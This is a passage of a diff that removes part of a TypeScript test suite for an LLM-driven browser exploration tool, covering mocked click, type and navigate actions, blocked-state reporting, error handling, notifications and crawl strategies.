- goalComplete: true,
588
- },
589
- });
590
-
591
- await tool.handler({
592
- analysisId: context.testAnalysisId,
593
- goal: "Explore",
594
- });
595
-
596
- expect(context.playwrightClient.type).toHaveBeenCalledWith("Input field", "e2", "hello", { submit: undefined, slowly: undefined });
597
- });
598
-
599
- it("executes navigate actions", async () => {
600
- context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
601
- success: true,
602
- data: {
603
- actions: [{ tool: "navigate", args: { url: "https://shop.example.com/products" } }],
604
- reasoning: "Navigating",
605
- goalProgress: "Navigating",
606
- goalComplete: false,
607
- },
608
- }).mockResolvedValueOnce({
609
- success: true,
610
- data: {
611
- actions: [],
612
- reasoning: "Done",
613
- goalProgress: "Complete",
614
- goalComplete: true,
615
- },
616
- });
617
-
618
- await tool.handler({
619
- analysisId: context.testAnalysisId,
620
- goal: "Explore",
621
- });
622
-
623
- expect(context.playwrightClient.navigate).toHaveBeenCalledWith("https://shop.example.com/products");
624
- });
625
-
626
- it("records actions in workspace", async () => {
627
- context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
628
- success: true,
629
- data: {
630
- actions: [{ tool: "click", args: { selector: "a" } }],
631
- reasoning: "Clicking link",
632
- goalProgress: "Exploring",
633
- goalComplete: false,
634
- },
635
- }).mockResolvedValueOnce({
636
- success: true,
637
- data: {
638
- actions: [],
639
- reasoning: "Done",
640
- goalProgress: "Complete",
641
- goalComplete: true,
642
- },
643
- });
644
-
645
- await tool.handler({
646
- analysisId: context.testAnalysisId,
647
- goal: "Explore",
648
- });
649
-
650
- expect(context.workspaceManager.recordAction).toHaveBeenCalled();
651
- });
652
- });
653
-
654
- describe("handler - blocked state", () => {
655
- beforeEach(async () => {
656
- await context.playwrightClient.connect();
657
- });
658
-
659
- it("handles blocked response from sampling", async () => {
660
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
661
- success: true,
662
- data: {
663
- actions: [],
664
- reasoning: "Cannot proceed",
665
- goalProgress: "Blocked",
666
- goalComplete: false,
667
- blocked: true,
668
- blockedReason: "Login required",
669
- },
670
- });
671
-
672
- const result = await tool.handler({
673
- analysisId: context.testAnalysisId,
674
- goal: "Explore",
675
- });
676
-
677
- expect(result.isError).toBeFalsy();
678
- const content = JSON.parse(result.content[0].text!);
679
- expect(content.blocked).toBe(true);
680
- expect(content.blockedReason).toBe("Login required");
681
- });
682
-
683
- it("handles sampling failure", async () => {
684
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
685
- success: false,
686
- error: "LLM error",
687
- });
688
-
689
- const result = await tool.handler({
690
- analysisId: context.testAnalysisId,
691
- goal: "Explore",
692
- });
693
-
694
- expect(result.isError).toBeFalsy();
695
- const content = JSON.parse(result.content[0].text!);
696
- expect(content.blocked).toBe(true);
697
- });
698
- });
699
-
700
- describe("handler - resource notifications", () => {
701
- beforeEach(async () => {
702
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
703
- success: true,
704
- data: {
705
- actions: [],
706
- reasoning: "Done",
707
- goalProgress: "Complete",
708
- goalComplete: true,
709
- },
710
- });
711
-
712
- await context.playwrightClient.connect();
713
- });
714
-
715
- it("notifies on crawl creation", async () => {
716
- vi.clearAllMocks();
717
-
718
- await tool.handler({
719
- analysisId: context.testAnalysisId,
720
- goal: "Explore",
721
- });
722
-
723
- expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
724
- });
725
-
726
- it("notifies on page save", async () => {
727
- context.samplingClient.createMessage = vi.fn().mockResolvedValueOnce({
728
- success: true,
729
- data: {
730
- actions: [{ tool: "click", args: { selector: "a" } }],
731
- reasoning: "Exploring",
732
- goalProgress: "Exploring",
733
- goalComplete: false,
734
- },
735
- }).mockResolvedValueOnce({
736
- success: true,
737
- data: {
738
- actions: [],
739
- reasoning: "Done",
740
- goalProgress: "Complete",
741
- goalComplete: true,
742
- },
743
- });
744
-
745
- vi.clearAllMocks();
746
-
747
- await tool.handler({
748
- analysisId: context.testAnalysisId,
749
- goal: "Explore",
750
- });
751
-
752
- // Multiple notifications: crawl create, page save, completion
753
- expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
754
- });
755
- });
756
-
757
- describe("handler - error handling", () => {
758
- it("handles playwright connection errors", async () => {
759
- context.playwrightClient.isConnected = vi.fn().mockReturnValue(false);
760
- context.playwrightClient.connect = vi.fn().mockRejectedValue(
761
- new Error("Connection failed")
762
- );
763
-
764
- const result = await tool.handler({
765
- analysisId: context.testAnalysisId,
766
- goal: "Explore",
767
- });
768
-
769
- expect(result.isError).toBe(true);
770
- expect(result.content[0].text).toContain("Error");
771
- });
772
-
773
- it("handles navigation errors", async () => {
774
- context.playwrightClient.navigate = vi.fn().mockRejectedValue(
775
- new Error("Navigation timeout")
776
- );
777
-
778
- await context.playwrightClient.connect();
779
-
780
- const result = await tool.handler({
781
- analysisId: context.testAnalysisId,
782
- goal: "Explore",
783
- });
784
-
785
- expect(result.isError).toBe(true);
786
- });
787
- });
788
-
789
- describe("handler - strategy", () => {
790
- beforeEach(async () => {
791
- context.samplingClient.createMessage = vi.fn().mockResolvedValue({
792
- success: true,
793
- data: {
794
- actions: [],
795
- reasoning: "Done",
796
- goalProgress: "Complete",
797
- goalComplete: true,
798
- },
799
- });
800
-
801
- await context.playwrightClient.connect();
802
- });
803
-
804
- it("accepts goal_directed strategy", async () => {
805
- const result = await tool.handler({
806
- analysisId: context.testAnalysisId,
807
- goal: "Explore",
808
- strategy: "goal_directed",
809
- });
810
-
811
- expect(result.isError).toBeFalsy();
812
- });
813
-
814
- it("accepts breadth_first strategy", async () => {
815
- const result = await tool.handler({
816
- analysisId: context.testAnalysisId,
817
- goal: "Explore",
818
- strategy: "breadth_first",
819
- });
820
-
821
- expect(result.isError).toBeFalsy();
822
- });
823
-
824
- it("accepts depth_first strategy", async () => {
825
- const result = await tool.handler({
826
- analysisId: context.testAnalysisId,
827
- goal: "Explore",
828
- strategy: "depth_first",
829
- });
830
-
831
- expect(result.isError).toBeFalsy();
832
- });
833
- });
834
- });